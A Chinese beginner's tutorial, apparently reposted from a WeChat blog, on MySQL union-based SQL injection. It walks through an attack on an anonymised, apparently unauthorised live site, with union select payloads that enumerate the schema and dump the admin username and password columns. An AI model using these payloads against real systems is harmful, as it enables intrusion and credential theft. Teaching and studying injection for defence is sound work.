前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实战|MySQL联合注入

实战|MySQL联合注入

作者头像
Power7089
发布2019-11-14 17:40:50
1.3K0
发布2019-11-14 17:40:50
举报
文章被收录于专栏:闪石星曜CyberSecurity

0x01

SQL注入原理:

一、SQL注入就是一种通过操作SQL语句进行攻击目的的技术 二、SQL语句是各大数据库中的语言代码

0x02

SQL注入的产生:

攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

0x03

判断是否存在SQL注入:

代码语言:javascript
复制
传参的地方后面加上单引号 And 1=1  正常                 
存在注入And 1=2  不正常 
或者 or  xor   且或非

0x04

判断字段数:

代码语言:javascript
复制
Order by X  取临界值

0x05

MySQL注入中常用的函数:

代码语言:javascript
复制
User()   用户组权限Database()  数据库名Version()    PHP版本@@verSion_compile_os  操作系统

0x06

MySQL注入中需要用的:

代码语言:javascript
复制
Information_schema.tables  记录表名信息的表
Information_schema.columns  记录列名信息的表
Table_name  表名
Column_name  列名
group_concat(column_name)  所有列名
Schema_table  数据库名数据库名中符号
‘.’代表下一级的意思
补充一下:MySQL5.0以上与MySQL5.0以下是有区别的。

0x07

开始实战

目标站点:www.xxx.com

打开目标站点,到处点点,找到一处带有参数的url地址

我们输入单引号

页面报错了,这个时候我们再输入 and 1=1

返回正常页面,我们再 and 1=2 看看

返回的是500错误,当我们and 1=1 时页面返回正常,and 1=2 时页面返回错误,有些时候返回500不要觉得没有,有些时候照样存在注入。由此我们可以判断这里是存在注入的。

接下来我们要判断有多少字段数,上面已经说到判断字段数,使用order by x 取临界值(在这里我提前测试过了已经知道是25个字段)

我们输入order by 25 返回正常,order by 26时返回错误,由此我们可以判定存在25个字段。接下来我们使用联合注入。

第一步、为什么我要在参数前面加上-号呢?因为要让他报错回显出来,那个字段数上才是可控的,或者可以使用参数后面加上 and 1=2

可以看到,爆出数字9与19,说明在9跟19这两个数是可控的,在这里我们就要用到我们上面说的函数了,查数据库名,查操作系统,查PHP版本,查用户组权限。这里我就直接查数据库名了。

代码语言:javascript
复制
   语句:http://www.xxx.com/xxx.php?xxx=-408 
   union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

可以看到数据库为xxxi_db,接下来查询这个数据库下面的所有表名信息。

代码语言:javascript
复制
   语句:http://www.xxx.com/xxx.php?xxx=-408 
   union select1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.tables where table_schema='xxxi_db(刚才查到的数据库名)'

在这里就要分析一下,你觉得那个表下面可能会存在存放后台管理员的账号密码的列,这里很明显是adminuser这个表。在这里还要说一下,如果'数据库名',这里也可以不用单引号,可以编码一下,编码至16进制就可不用单引号。下面我们要查询adminuser表下的列信息。

代码语言:javascript
复制
    语句:http://www.xxx.com/xxx.php?xxx=-408 
    union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.columns where table_name='表名'

查询到adminuser这个表下面有三个列名。id,aduser,adpword。后台管理员账号密码肯定就存在aduser跟adpword这两个列里面了。接下来就是让他爆出里面的数据了。

代码语言:javascript
复制
    语法:http://www.xxx.com/xxx.php?xxx=-408 
    union select 1,2,3,4,5,6,7,8,aduser,10,11,12,13,14,15,16,17,18,adpword,20,21,22,23,24,25 from 表名

做到这里,后台管理员的账号与密码就可以注入出来了,找后台这里就先不说了,因为这次主要说的是SQL注入。

如果大家觉得哪里理解不了,可以发消息至公众号,你们发的消息我都有看的。这次这篇文章是给刚入门的兄弟们学习的,大佬们就先跳过吧。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-11-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01
  • 0x02
  • 0x03
  • 0x04
  • 0x05
  • 0x07
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档